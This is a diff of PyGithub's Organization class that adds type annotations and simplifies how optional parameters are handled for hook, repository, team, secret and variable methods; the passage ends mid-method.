create_hook( self, - name, - config, - events=github.GithubObject.NotSet, - active=github.GithubObject.NotSet, - ): + name: str, + config: dict[str, str], + events: Opt[list[str]] = NotSet, + active: Opt[bool] = NotSet, + ) -> Hook: """ :calls: `POST /orgs/{owner}/hooks `_ :param name: string @@ -465,35 +448,27 @@ def create_hook( """ assert isinstance(name, str), name assert isinstance(config, dict), config - assert events is github.GithubObject.NotSet or all( - isinstance(element, str) for element in events - ), events - assert active is github.GithubObject.NotSet or isinstance(active, bool), active - post_parameters = { - "name": name, - "config": config, - } - if events is not github.GithubObject.NotSet: - post_parameters["events"] = events - if active is not github.GithubObject.NotSet: - post_parameters["active"] = active - headers, data = self._requester.requestJsonAndCheck( - "POST", f"{self.url}/hooks", input=post_parameters + assert is_optional_list(events, str), events + assert is_optional(active, bool), active + post_parameters: dict[str, Any] = NotSet.remove_unset_items( + { + "name": name, + "config": config, + "events": events, + "active": active, + } ) + headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/hooks", input=post_parameters) return github.Hook.Hook(self._requester, headers, data, completed=True) - def create_project(self, name, body=github.GithubObject.NotSet): + def create_project(self, name: str, body: Opt[str] = NotSet) -> github.Project.Project: """ :calls: `POST /orgs/{org}/projects `_ - :param name: string - :param body: string - :rtype: :class:`github.Project.Project` """ assert isinstance(name, str), name - assert body is github.GithubObject.NotSet or isinstance(body, str), body - post_parameters = {"name": name} - if body is not github.GithubObject.NotSet: - post_parameters["body"] = body + assert is_optional(body, str), body + post_parameters: dict[str, Any] = NotSet.remove_unset_items({"name": name, "body": body}) + headers, data = self._requester.requestJsonAndCheck( "POST", f"{self.url}/projects", @@ -504,189 +479,193 @@ def create_project(self, name, body=github.GithubObject.NotSet): def create_repo( self, - name, - description=github.GithubObject.NotSet, - homepage=github.GithubObject.NotSet, - private=github.GithubObject.NotSet, - visibility=github.GithubObject.NotSet, - has_issues=github.GithubObject.NotSet, - has_wiki=github.GithubObject.NotSet, - has_downloads=github.GithubObject.NotSet, - has_projects=github.GithubObject.NotSet, - team_id=github.GithubObject.NotSet, - auto_init=github.GithubObject.NotSet, - license_template=github.GithubObject.NotSet, - gitignore_template=github.GithubObject.NotSet, - allow_squash_merge=github.GithubObject.NotSet, - allow_merge_commit=github.GithubObject.NotSet, - allow_rebase_merge=github.GithubObject.NotSet, - delete_branch_on_merge=github.GithubObject.NotSet, - ): + name: str, + description: Opt[str] = NotSet, + homepage: Opt[str] = NotSet, + private: Opt[bool] = NotSet, + visibility: Opt[str] = NotSet, + has_issues: Opt[bool] = NotSet, + has_wiki: Opt[bool] = NotSet, + has_downloads: Opt[bool] = NotSet, + has_projects: Opt[bool] = NotSet, + team_id: Opt[int] = NotSet, + auto_init: Opt[bool] = NotSet, + license_template: Opt[str] = NotSet, + gitignore_template: Opt[str] = NotSet, + allow_squash_merge: Opt[bool] = NotSet, + allow_merge_commit: Opt[bool] = NotSet, + allow_rebase_merge: Opt[bool] = NotSet, + delete_branch_on_merge: Opt[bool] = NotSet, + allow_update_branch: Opt[bool] = NotSet, + is_template: Opt[bool] = NotSet, + allow_auto_merge: Opt[bool] = NotSet, + use_squash_pr_title_as_default: Opt[bool] = NotSet, + squash_merge_commit_title: Opt[str] = NotSet, + squash_merge_commit_message: Opt[str] = NotSet, + merge_commit_title: Opt[str] = NotSet, + merge_commit_message: Opt[str] = NotSet, + custom_properties: Opt[dict[str, Any]] = NotSet, + ) -> github.Repository.Repository: """ :calls: `POST /orgs/{org}/repos `_ - :param name: string - :param description: string - :param homepage: string - :param private: bool - :param has_issues: bool - :param has_wiki: bool - :param has_downloads: bool - :param has_projects: bool - :param team_id: : int - :param auto_init: bool - :param license_template: string - :param gitignore_template: string - :param allow_squash_merge: bool - :param allow_merge_commit: bool - :param allow_rebase_merge: bool - :param delete_branch_on_merge: bool - :rtype: :class:`github.Repository.Repository` """ assert isinstance(name, str), name - assert description is github.GithubObject.NotSet or isinstance( - description, str - ), description - assert homepage is github.GithubObject.NotSet or isinstance( - homepage, str - ), homepage - assert private is github.GithubObject.NotSet or isinstance( - private, bool - ), private - assert visibility is github.GithubObject.NotSet or isinstance( - visibility, str - ), visibility - assert has_issues is github.GithubObject.NotSet or isinstance( - has_issues, bool - ), has_issues - assert has_wiki is github.GithubObject.NotSet or isinstance( - has_wiki, bool - ), has_wiki - assert has_downloads is github.GithubObject.NotSet or isinstance( - has_downloads, bool - ), has_downloads - assert has_projects is github.GithubObject.NotSet or isinstance( - has_projects, bool - ), has_projects - assert team_id is github.GithubObject.NotSet or isinstance( - team_id, int - ), team_id - assert auto_init is github.GithubObject.NotSet or isinstance( - auto_init, bool - ), auto_init - assert license_template is github.GithubObject.NotSet or isinstance( - license_template, str - ), license_template - assert gitignore_template is github.GithubObject.NotSet or isinstance( - gitignore_template, str - ), gitignore_template - assert allow_squash_merge is github.GithubObject.NotSet or isinstance( - allow_squash_merge, bool - ), allow_squash_merge - assert allow_merge_commit is github.GithubObject.NotSet or isinstance( - allow_merge_commit, bool - ), allow_merge_commit - assert allow_rebase_merge is github.GithubObject.NotSet or isinstance( - allow_rebase_merge, bool - ), allow_rebase_merge - assert delete_branch_on_merge is github.GithubObject.NotSet or isinstance( - delete_branch_on_merge, bool - ), delete_branch_on_merge - post_parameters = { - "name": name, - } - if description is not github.GithubObject.NotSet: - post_parameters["description"] = description - if homepage is not github.GithubObject.NotSet: - post_parameters["homepage"] = homepage - if private is not github.GithubObject.NotSet: - post_parameters["private"] = private - if visibility is not github.GithubObject.NotSet: - post_parameters["visibility"] = visibility - if has_issues is not github.GithubObject.NotSet: - post_parameters["has_issues"] = has_issues - if has_wiki is not github.GithubObject.NotSet: - post_parameters["has_wiki"] = has_wiki - if has_downloads is not github.GithubObject.NotSet: - post_parameters["has_downloads"] = has_downloads - if has_projects is not github.GithubObject.NotSet: - post_parameters["has_projects"] = has_projects - if team_id is not github.GithubObject.NotSet: - post_parameters["team_id"] = team_id - if auto_init is not github.GithubObject.NotSet: - post_parameters["auto_init"] = auto_init - if license_template is not github.GithubObject.NotSet: - post_parameters["license_template"] = license_template - if gitignore_template is not github.GithubObject.NotSet: - post_parameters["gitignore_template"] = gitignore_template - if allow_squash_merge is not github.GithubObject.NotSet: - post_parameters["allow_squash_merge"] = allow_squash_merge - if allow_merge_commit is not github.GithubObject.NotSet: - post_parameters["allow_merge_commit"] = allow_merge_commit - if allow_rebase_merge is not github.GithubObject.NotSet: - post_parameters["allow_rebase_merge"] = allow_rebase_merge - if delete_branch_on_merge is not github.GithubObject.NotSet: - post_parameters["delete_branch_on_merge"] = delete_branch_on_merge + assert is_optional(description, str), description + assert is_optional(homepage, str), homepage + assert is_optional(private, bool), private + assert is_optional(visibility, str), visibility + assert is_optional(has_issues, bool), has_issues + assert is_optional(has_wiki, bool), has_wiki + assert is_optional(has_downloads, bool), has_downloads + assert is_optional(has_projects, bool), has_projects + assert is_optional(team_id, int), team_id + assert is_optional(auto_init, bool), auto_init + assert is_optional(license_template, str), license_template + assert is_optional(gitignore_template, str), gitignore_template + assert is_optional(allow_squash_merge, bool), allow_squash_merge + assert is_optional(allow_merge_commit, bool), allow_merge_commit + assert is_optional(allow_rebase_merge, bool), allow_rebase_merge + assert is_optional(delete_branch_on_merge, bool), delete_branch_on_merge + assert is_optional(allow_update_branch, bool), allow_update_branch + assert is_optional(is_template, bool), is_template + assert is_optional(allow_auto_merge, bool), allow_auto_merge + assert is_optional(use_squash_pr_title_as_default, bool), use_squash_pr_title_as_default + assert squash_merge_commit_title in ["PR_TITLE", "COMMIT_OR_PR_TITLE", NotSet], squash_merge_commit_title + assert squash_merge_commit_message in [ + "PR_BODY", + "COMMIT_MESSAGES", + "BLANK", + NotSet, + ], squash_merge_commit_message + assert merge_commit_title in ["PR_TITLE", "MERGE_MESSAGE", NotSet], merge_commit_title + assert merge_commit_message in ["PR_TITLE", "PR_BODY", "BLANK", NotSet], merge_commit_message + assert is_optional(custom_properties, dict), custom_properties + post_parameters = NotSet.remove_unset_items( + { + "name": name, + "description": description, + "homepage": homepage, + "private": private, + "visibility": visibility, + "has_issues": has_issues, + "has_wiki": has_wiki, + "has_downloads": has_downloads, + "has_projects": has_projects, + "team_id": team_id, + "auto_init": auto_init, + "license_template": license_template, + "gitignore_template": gitignore_template, + "allow_squash_merge": allow_squash_merge, + "allow_merge_commit": allow_merge_commit, + "allow_rebase_merge": allow_rebase_merge, + "delete_branch_on_merge": delete_branch_on_merge, + "allow_update_branch": allow_update_branch, + "is_template": is_template, + "allow_auto_merge": allow_auto_merge, + "use_squash_pr_title_as_default": use_squash_pr_title_as_default, + "squash_merge_commit_title": squash_merge_commit_title, + "squash_merge_commit_message": squash_merge_commit_message, + "merge_commit_title": merge_commit_title, + "merge_commit_message": merge_commit_message, + "custom_properties": custom_properties, + } + ) + headers, data = self._requester.requestJsonAndCheck( "POST", f"{self.url}/repos", input=post_parameters, headers={"Accept": Consts.repoVisibilityPreview}, ) - return github.Repository.Repository( - self._requester, headers, data, completed=True - ) + return github.Repository.Repository(self._requester, headers, data, completed=True) def create_secret( self, - secret_name, - unencrypted_value, - visibility="all", - selected_repositories=github.GithubObject.NotSet, - ): + secret_name: str, + unencrypted_value: str, + visibility: str = "all", + selected_repositories: Opt[list[github.Repository.Repository]] = NotSet, + ) -> github.OrganizationSecret.OrganizationSecret: """ - :calls: `PUT /orgs/{org}/actions/secrets/{secret_name} `_ - :param secret_name: string - :param unencrypted_value: string - :param visibility: string - :param selected_repositories: list of :class:`github.Repository.Repository` - :rtype: bool + :calls: `PUT /orgs/{org}/actions/secrets/{secret_name} `_ """ assert isinstance(secret_name, str), secret_name assert isinstance(unencrypted_value, str), unencrypted_value assert isinstance(visibility, str), visibility if visibility == "selected": assert isinstance(selected_repositories, list) and all( - isinstance(element, github.Repository.Repository) - for element in selected_repositories + isinstance(element, github.Repository.Repository) for element in selected_repositories ), selected_repositories else: - assert selected_repositories is github.GithubObject.NotSet + assert selected_repositories is NotSet public_key = self.get_public_key() payload = public_key.encrypt(unencrypted_value) - put_parameters = { + put_parameters: dict[str, Any] = { "key_id": public_key.key_id, "encrypted_value": payload, "visibility": visibility, } - if selected_repositories is not github.GithubObject.NotSet: - put_parameters["selected_repository_ids"] = [ - element.id for element in selected_repositories - ] + if is_defined(selected_repositories): + put_parameters["selected_repository_ids"] = [element.id for element in selected_repositories] - status, headers, data = self._requester.requestJson( - "PUT", f"{self.url}/actions/secrets/{secret_name}", input=put_parameters + self._requester.requestJsonAndCheck( + "PUT", f"{self.url}/actions/secrets/{urllib.parse.quote(secret_name)}", input=put_parameters + ) + + return github.OrganizationSecret.OrganizationSecret( + requester=self._requester, + headers={}, + attributes={ + "name": secret_name, + "visibility": visibility, + "selected_repositories_url": f"{self.url}/actions/secrets/{urllib.parse.quote(secret_name)}/repositories", + "url": f"{self.url}/actions/secrets/{urllib.parse.quote(secret_name)}", + }, + completed=False, + ) + + def get_secrets(self, secret_type: str = "actions") -> PaginatedList[OrganizationSecret]: + """ + Gets all organization secrets + :param secret_type: string options actions or dependabot + :rtype: :class:`PaginatedList` of :class:`github.OrganizationSecret.OrganizationSecret` + """ + assert secret_type in ["actions", "dependabot"], "secret_type should be actions or dependabot" + return PaginatedList( + github.OrganizationSecret.OrganizationSecret, + self._requester, + f"{self.url}/{secret_type}/secrets", + None, + list_item="secrets", + ) + + def get_secret(self, secret_name: str, secret_type: str = "actions") -> OrganizationSecret: + """ + :calls: 'GET /orgs/{org}/{secret_type}/secrets/{secret_name} `_ + :param secret_name: string + :param secret_type: string options actions or dependabot + :rtype: github.OrganizationSecret.OrganizationSecret + """ + assert isinstance(secret_name, str), secret_name + return github.OrganizationSecret.OrganizationSecret( + requester=self._requester, + headers={}, + attributes={"url": f"{self.url}/{secret_type}/secrets/{urllib.parse.quote(secret_name)}"}, + completed=False, ) - return status == 201 def create_team( self, - name, - repo_names=github.GithubObject.NotSet, - permission=github.GithubObject.NotSet, - privacy=github.GithubObject.NotSet, - description=github.GithubObject.NotSet, - ): + name: str, + repo_names: Opt[list[Repository]] = NotSet, + permission: Opt[str] = NotSet, + privacy: Opt[str] = NotSet, + description: Opt[str] = NotSet, + parent_team_id: Opt[int] = NotSet, + maintainers: Opt[list[int]] = NotSet, + notification_setting: Opt[str] = NotSet, + ) -> Team: """ :calls: `POST /orgs/{org}/teams `_ :param name: string @@ -694,272 +673,289 @@ def create_team( :param permission: string :param privacy: string :param description: string + :param parent_team_id: integer + :param maintainers: list of: integer + :param notification_setting: string :rtype: :class:`github.Team.Team` """ assert isinstance(name, str), name - assert repo_names is github.GithubObject.NotSet or all( - isinstance(element, github.Repository.Repository) for element in repo_names - ), repo_names - assert permission is github.GithubObject.NotSet or isinstance( - permission, str - ), permission - assert privacy is github.GithubObject.NotSet or isinstance( - privacy, str - ), privacy - assert description is github.GithubObject.NotSet or isinstance( - description, str - ), description - post_parameters = { - "name": name, - } - if repo_names is not github.GithubObject.NotSet: - post_parameters["repo_names"] = [ - element._identity for element in repo_names - ] - if permission is not github.GithubObject.NotSet: - post_parameters["permission"] = permission - if privacy is not github.GithubObject.NotSet: - post_parameters["privacy"] = privacy - if description is not github.GithubObject.NotSet: - post_parameters["description"] = description - headers, data = self._requester.requestJsonAndCheck( - "POST", f"{self.url}/teams", input=post_parameters + assert is_optional_list(repo_names, github.Repository.Repository), repo_names + assert is_optional_list(maintainers, int), maintainers + assert is_optional(parent_team_id, int), parent_team_id + assert is_optional(permission, str), permission + assert is_optional(privacy, str), privacy + assert is_optional(description, str), description + assert notification_setting in ["notifications_enabled", "notifications_disabled", NotSet], notification_setting + post_parameters: dict[str, Any] = NotSet.remove_unset_items( + { + "name": name, + "permission": permission, + "privacy": privacy, + "description": description, + "parent_team_id": parent_team_id, + "maintainers": maintainers, + "notification_setting": notification_setting, + } ) + if is_defined(repo_names): + post_parameters["repo_names"] = [element._identity for element in repo_names] + headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/teams", input=post_parameters) return github.Team.Team(self._requester, headers, data, completed=True) - def delete_hook(self, id): + def create_variable( + self, + variable_name: str, + value: str, + visibility: str = "all", + selected_repositories: github.GithubObject.Opt[list[github.Repository.Repository]] = NotSet, + ) -> github.OrganizationVariable.OrganizationVariable: + """ + :calls: `POST /orgs/{org}/actions/variables/ `_ + :param variable_name: string + :param value: string + :param visibility: string + :param selected_repositories: list of :class:`github.Repository.Repository` + :rtype: github.OrganizationVariable.OrganizationVariable """ - :calls: `DELETE /orgs/{owner}/hooks/{id} `_ - :param id: integer - :rtype: None` + assert isinstance(variable_name, str), variable_name + assert isinstance(value, str), value + assert isinstance(visibility, str), visibility + if visibility == "selected": + assert isinstance(selected_repositories, list) and all( + isinstance(element, github.Repository.Repository) for element in selected_repositories + ), selected_repositories + else: + assert selected_repositories is NotSet + + post_parameters: dict[str, Any] = { + "name": variable_name, + "value": value, + "visibility": visibility, + } + if is_defined(selected_repositories): + post_parameters["selected_repository_ids"] = [element.id for element in selected_repositories] + + self._requester.requestJsonAndCheck("POST", f"{self.url}/actions/variables", input=post_parameters) + + return github.OrganizationVariable.OrganizationVariable( + requester=self._requester, + headers={}, + attributes={ + "name": variable_name, + "visibility": visibility, + "value": value, + "selected_repositories_url": f"{self.url}/actions/variables/{urllib.parse.quote(variable_name)}/repositories", + "url": self.url, + }, + completed=False, + ) + + def get_variables(self) -> PaginatedList[OrganizationVariable]: """ - assert isinstance(id, int), id - headers, data = self._requester.requestJsonAndCheck( - "DELETE", f"{self.url}/hooks/{id}" + Gets all organization variables + :rtype: :class:`PaginatedList` of :class:`github.OrganizationVariable.OrganizationVariable` + """ + return PaginatedList( + github.OrganizationVariable.OrganizationVariable, + self._requester, + f"{self.url}/actions/variables", + None, + list_item="variables", ) - def delete_secret(self, secret_name): + def get_variable(self, variable_name: str) -> OrganizationVariable: """ - :calls: `DELETE /orgs/{org}/actions/secrets/{secret_name} `_ - :param secret_name: string - :rtype: bool + :calls: 'GET /orgs/{org}/actions/variables/{variable_name} `_ + :param variable_name: string + :rtype: github.OrganizationVariable.OrganizationVariable """ - assert isinstance(secret_name, str), secret_name - status, headers, data = self._requester.requestJson( - "DELETE", f"{self.url}/actions/secrets/{secret_name}" + assert isinstance(variable_name, str), variable_name + return github.OrganizationVariable.OrganizationVariable( + requester=self._requester, + headers={}, + attributes={"url": f"{self.url}/actions/variables/{urllib.parse.quote(variable_name)}"}, + completed=False, ) - return status == 204 + + def delete_hook(self, id: int) -> None: + """ + :calls: `DELETE /orgs/{owner}/hooks/{id} `_ + :param id: integer + :rtype: None` + """ + assert isinstance(id, int), id + headers, data = self._requester.requestJsonAndCheck("DELETE", f"{self.url}/hooks/{id}") def edit( self, - billing_email=github.GithubObject.NotSet, - blog=github.GithubObject.NotSet, - company=github.GithubObject.NotSet, - description=github.GithubObject.NotSet, - email=github.GithubObject.NotSet, - location=github.GithubObject.NotSet, - name=github.GithubObject.NotSet, - ): + billing_email: Opt[str] = NotSet, + blog: Opt[str] = NotSet, + company: Opt[str] = NotSet, + description: Opt[str] = NotSet, + email: Opt[str] = NotSet, + location: Opt[str] = NotSet, + name: Opt[str] = NotSet, + ) -> None: """ :calls: `PATCH /orgs/{org} `_ - :param billing_email: string - :param blog: string - :param company: string - :param description: string - :param email: string - :param location: string - :param name: string - :rtype: None """ - assert billing_email is github.GithubObject.NotSet or isinstance( - billing_email, str - ), billing_email - assert blog is github.GithubObject.NotSet or isinstance(blog, str), blog - assert company is github.GithubObject.NotSet or isinstance( - company, str - ), company - assert description is github.GithubObject.NotSet or isinstance( - description, str - ), description - assert email is github.GithubObject.NotSet or isinstance(email, str), email - assert location is github.GithubObject.NotSet or isinstance( - location, str - ), location - assert name is github.GithubObject.NotSet or isinstance(name, str), name - post_parameters = dict() - if billing_email is not github.GithubObject.NotSet: - post_parameters["billing_email"] = billing_email - if blog is not github.GithubObject.NotSet: - post_parameters["blog"] = blog - if company is not github.GithubObject.NotSet: - post_parameters["company"] = company - if description is not github.GithubObject.NotSet: - post_parameters["description"] = description - if email is not github.GithubObject.NotSet: - post_parameters["email"] = email - if location is not github.GithubObject.NotSet: - post_parameters["location"] = location - if name is not github.GithubObject.NotSet: - post_parameters["name"] = name - headers, data = self._requester.requestJsonAndCheck( - "PATCH", self.url, input=post_parameters + assert is_optional(billing_email, str), billing_email + assert is_optional(blog, str), blog + assert is_optional(company, str), company + assert is_optional(description, str), description + assert is_optional(email, str), email + assert is_optional(location, str), location + assert is_optional(name, str), name + post_parameters = NotSet.remove_unset_items( + { + "billing_email": billing_email, + "blog": blog, + "company": company, + "description": description, + "email": email, + "location": location, + "name": name, + } ) + + headers, data = self._requester.requestJsonAndCheck("PATCH", self.url, input=post_parameters) self._useAttributes(data) def edit_hook( self, - id, - name, - config, - events=github.GithubObject.NotSet, - active=github.GithubObject.NotSet, - ): + id: int, + name: str, + config: dict[str, str], + events: Opt[list[str]] = NotSet, + active: Opt[bool] = NotSet, + ) -> Hook: """ :calls: `PATCH /orgs/{owner}/hooks/{id} `_ - :param id: integer - :param name: string - :param config: dict - :param events: list of string - :param active: bool - :rtype: :class:`github.Hook.Hook` """ assert isinstance(id, int), id assert isinstance(name, str), name assert isinstance(config, dict), config - assert events is github.GithubObject.NotSet or all( - isinstance(element, str) for element in events - ), events - assert active is github.GithubObject.NotSet or isinstance(active, bool), active - post_parameters = { - "name": name, - "config": config, - } - if events is not github.GithubObject.NotSet: - post_parameters["events"] = events - if active is not github.GithubObject.NotSet: - post_parameters["active"] = active - headers, data = self._requester.requestJsonAndCheck( - "PATCH", f"{self.url}/hooks/{id}", input=post_parameters + assert is_optional_list(events, str), events + assert is_optional(active, bool), active + post_parameters: dict[str, Any] = NotSet.remove_unset_items( + {"name": name, "config": config, "events": events, "active": active} ) + + headers, data = self._requester.requestJsonAndCheck("PATCH", f"{self.url}/hooks/{id}", input=post_parameters) return github.Hook.Hook(self._requester, headers, data, completed=True) - def get_events(self): + def get_events(self) -> PaginatedList[Event]: """ :calls: `GET /orgs/{org}/events `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Event.Event` + :rtype: :class:`PaginatedList` of :class:`github.Event.Event` """ - return github.PaginatedList.PaginatedList( - github.Event.Event, self._requester, f"{self.url}/events", None - ) + return PaginatedList(github.Event.Event, self._requester, f"{self.url}/events", None) - def get_hook(self, id): + def get_hook(self, id: int) -> github.Hook.Hook: """ :calls: `GET /orgs/{owner}/hooks/{id} `_ - :param id: integer - :rtype: :class:`github.Hook.Hook` """ assert isinstance(id, int), id - headers, data = self._requester.requestJsonAndCheck( - "GET", f"{self.url}/hooks/{id}" - ) + headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/hooks/{id}") return github.Hook.Hook(self._requester, headers, data, completed=True) - def get_hooks(self): + def get_hooks(self) -> PaginatedList[Hook]: """ :calls: `GET /orgs/{owner}/hooks `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Hook.Hook` """ - return github.PaginatedList.PaginatedList( - github.Hook.Hook, self._requester, f"{self.url}/hooks", None + return PaginatedList(github.Hook.Hook, self._requester, f"{self.url}/hooks", None) + + def get_hook_delivery(self, hook_id: int, delivery_id: int) -> github.HookDelivery.HookDelivery: + """ + :calls: `GET /orgs/{owner}/hooks/{hook_id}/deliveries/{delivery_id} `_ + :param hook_id: integer + :param delivery_id: integer + :rtype: :class:`github.HookDelivery.HookDelivery` + """ + assert isinstance(hook_id, int), hook_id + assert isinstance(delivery_id, int), delivery_id + headers, data = self._requester.requestJsonAndCheck( + "GET", f"{self.url}/hooks/{hook_id}/deliveries/{delivery_id}" + ) + return github.HookDelivery.HookDelivery(self._requester, headers, data, completed=True) + + def get_hook_deliveries(self, hook_id: int) -> PaginatedList[github.HookDelivery.HookDeliverySummary]: + """ + :calls: `GET /orgs/{owner}/hooks/{hook_id}/deliveries `_ + :param hook_id: integer + :rtype: :class:`PaginatedList` of :class:`github.HookDelivery.HookDeliverySummary` + """ + assert isinstance(hook_id, int), hook_id + return PaginatedList( + github.HookDelivery.HookDeliverySummary, + self._requester, + f"{self.url}/hooks/{hook_id}/deliveries", + None, ) def get_issues( self, - filter=github.GithubObject.NotSet, - state=github.GithubObject.NotSet, - labels=github.GithubObject.NotSet, - sort=github.GithubObject.NotSet, - direction=github.GithubObject.NotSet, - since=github.GithubObject.NotSet, - ): + filter: Opt[str] = NotSet, + state: Opt[str] = NotSet, + labels: Opt[list[Label]] = NotSet, + sort: Opt[str] = NotSet, + direction: Opt[str] = NotSet, + since: Opt[datetime] = NotSet, + ) -> PaginatedList[Issue]: """ :calls: `GET /orgs/{org}/issues `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Issue.Issue` + :rtype: :class:`PaginatedList` of :class:`github.Issue.Issue` :param filter: string :param state: string :param labels: list of :class:`github.Label.Label` :param sort: string :param direction: string - :param since: datetime.datetime - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Issue.Issue` - """ - assert filter is github.GithubObject.NotSet or isinstance(filter, str), filter - assert state is github.GithubObject.NotSet or isinstance(state, str), state - assert labels is github.GithubObject.NotSet or all( - isinstance(element, github.Label.Label) for element in labels - ), labels - assert sort is github.GithubObject.NotSet or isinstance(sort, str), sort - assert direction is github.GithubObject.NotSet or isinstance( - direction, str - ), direction - assert since is github.GithubObject.NotSet or isinstance( - since, datetime.datetime - ), since - url_parameters = dict() - if filter is not github.GithubObject.NotSet: - url_parameters["filter"] = filter - if state is not github.GithubObject.NotSet: - url_parameters["state"] = state - if labels is not github.GithubObject.NotSet: + :param since: datetime + :rtype: :class:`PaginatedList` of :class:`github.Issue.Issue` + """ + assert is_optional(filter, str), filter + assert is_optional(state, str), state + assert is_optional_list(labels, github.Label.Label), labels + assert is_optional(sort, str), sort + assert is_optional(direction, str), direction + assert is_optional(since, datetime), since + url_parameters: dict[str, Any] = NotSet.remove_unset_items( + {"filter": filter, "state": state, "sort": sort, "direction": direction} + ) + if is_defined(labels): url_parameters["labels"] = ",".join(label.name for label in labels) - if sort is not github.GithubObject.NotSet: - url_parameters["sort"] = sort - if direction is not github.GithubObject.NotSet: - url_parameters["direction"] = direction - if since is not github.GithubObject.NotSet: + if is_defined(since): url_parameters["since"] = since.strftime("%Y-%m-%dT%H:%M:%SZ") - return github.PaginatedList.PaginatedList( - github.Issue.Issue, self._requester, f"{self.url}/issues", url_parameters - ) + return PaginatedList(github.Issue.Issue, self._requester, f"{self.url}/issues", url_parameters) def get_members( - self, filter_=github.GithubObject.NotSet, role=github.GithubObject.NotSet - ): + self, + filter_: Opt[str] = NotSet, + role: Opt[str] = NotSet, + ) -> PaginatedList[NamedUser]: """ :calls: `GET /orgs/{org}/members `_ - :param filter_: string - :param role: string - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.NamedUser.NamedUser` - """ - assert filter_ is github.GithubObject.NotSet or isinstance( - filter_, str - ), filter_ - assert role is github.GithubObject.NotSet or isinstance(role, str), role - - url_parameters = {} - if filter_ is not github.GithubObject.NotSet: - url_parameters["filter"] = filter_ - if role is not github.GithubObject.NotSet: - url_parameters["role"] = role - return github.PaginatedList.PaginatedList( + """ + assert is_optional(filter_, str), filter_ + assert is_optional(role, str), role + + url_parameters = NotSet.remove_unset_items({"filter": filter_, "role": role}) + + return PaginatedList( github.NamedUser.NamedUser, self._requester, f"{self.url}/members", url_parameters, ) - def get_projects(self, state=github.GithubObject.NotSet): + def get_projects(self, state: Opt[str] = NotSet) -> PaginatedList[Project]: """ :calls: `GET /orgs/{org}/projects `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Project.Project` - :param state: string """ - url_parameters = dict() - if state is not github.GithubObject.NotSet: - url_parameters["state"] = state + url_parameters = NotSet.remove_unset_items({"state": state}) - return github.PaginatedList.PaginatedList( + return PaginatedList( github.Project.Project, self._requester, f"{self.url}/projects", @@ -967,203 +963,59 @@ def get_projects(self, state=github.GithubObject.NotSet): {"Accept": Consts.mediaTypeProjectsPreview}, ) - def get_public_members(self): + def get_public_members(self) -> PaginatedList[NamedUser]: """ :calls: `GET /orgs/{org}/public_members `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.NamedUser.NamedUser` + :rtype: :class:`PaginatedList` of :class:`github.NamedUser.NamedUser` """ - return github.PaginatedList.PaginatedList( + return PaginatedList( github.NamedUser.NamedUser, self._requester, f"{self.url}/public_members", None, ) - def get_outside_collaborators(self, filter_=github.GithubObject.NotSet): + def get_outside_collaborators(self, filter_: Opt[str] = NotSet) -> PaginatedList[NamedUser]: """ :calls: `GET /orgs/{org}/outside_collaborators `_ - :param filter_: string - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.NamedUser.NamedUser` """ - assert filter_ is github.GithubObject.NotSet or isinstance( - filter_, str - ), filter_ + assert is_optional(filter_, str), filter_ - url_parameters = {} - if filter_ is not github.GithubObject.NotSet: - url_parameters["filter"] = filter_ - return github.PaginatedList.PaginatedList( + url_parameters = NotSet.remove_unset_items({"filter": filter_}) + return PaginatedList( github.NamedUser.NamedUser, self._requester, f"{self.url}/outside_collaborators", url_parameters, ) - def create_or_update_secret( - self, secret_name, secret_value, visibility, selected_repository_ids=None - ): - """ - Return whether the secret has been created (True) or updated (False). - - :calls: `PUT /orgs/{org}/actions/secrets/{secret_name} `_ - :param secret_name: string - :param secret_value: string - :param visibility: string. "all", "private", or "selected" - :param selected_repository_ids: list of int. Only available when visibility is "selected" - :rtype: bool - """ - assert isinstance(secret_name, str), secret_name - assert isinstance(secret_value, str), secret_value - assert isinstance(visibility, str), visibility - if visibility != "selected": - if selected_repository_ids: - raise ValueError( - "selected_repository_ids can only be used with visibility `selected`" - ) - elif selected_repository_ids is not None: - if not isinstance(selected_repository_ids, list): - raise ValueError("selected_repository_ids should be a list") - if not all(isinstance(repo_id, int) for repo_id in selected_repository_ids): - raise ValueError("selected_repository_ids elements should all be int") - - public_key = self.get_public_key() - encrypted_secret_value = github.PublicKey.encrypt(public_key.key, secret_value) - - put_parameters = { - "encrypted_value": encrypted_secret_value, - "key_id": public_key.key_id, - "visibility": visibility, - } - if selected_repository_ids: - put_parameters["selected_repository_ids"] = selected_repository_ids - status, _headers, _data = self._requester.requestJsonAndCheckGetStatus( - "PUT", - f"{self.url}/actions/secrets/{secret_name}", - input=put_parameters, - ) - # Status is 201 when created and 204 when updated (whether there are changes or not) - return status == 201 - - def get_secret(self, secret_name): - """ - :calls: `GET /orgs/{org}/actions/secrets/{secret_name} `_ - :rtype: :class:`github.Secret.Secret` - """ - assert isinstance(secret_name, str), secret_name - - headers, data = self._requester.requestJsonAndCheck( - "GET", f"{self.url}/actions/secrets/{secret_name}" - ) - return github.Secret.Secret(self._requester, headers, data, completed=True) - - def get_secrets(self): - """ - :calls: `GET /orgs/{org}/actions/secrets `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Secret.Secret` - """ - return github.PaginatedList.PaginatedList( - github.Secret.Secret, - self._requester, - f"{self.url}/actions/secrets", - None, - list_item="secrets", - ) - - def list_secret_selected_repositories(self, secret_name): - """ - :calls: `GET /orgs/{org}/actions/secrets/{secret_name}/repositories `_ - :param secret_name: string - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Repository.Repository` - """ - assert isinstance(secret_name, str), secret_name - - return github.PaginatedList.PaginatedList( - github.Repository.Repository, - self._requester, - f"{self.url}/actions/secrets/{secret_name}/repositories", - None, - list_item="repositories", - ) - - def set_secret_selected_repositories(self, secret_name, selected_repository_ids): - """ - :calls: `PUT /orgs/{org}/actions/secrets/{secret_name}/repositories `_ - :param secret_name: string - :param selected_repository_ids: list of int - """ - - assert isinstance(secret_name, str), secret_name - assert 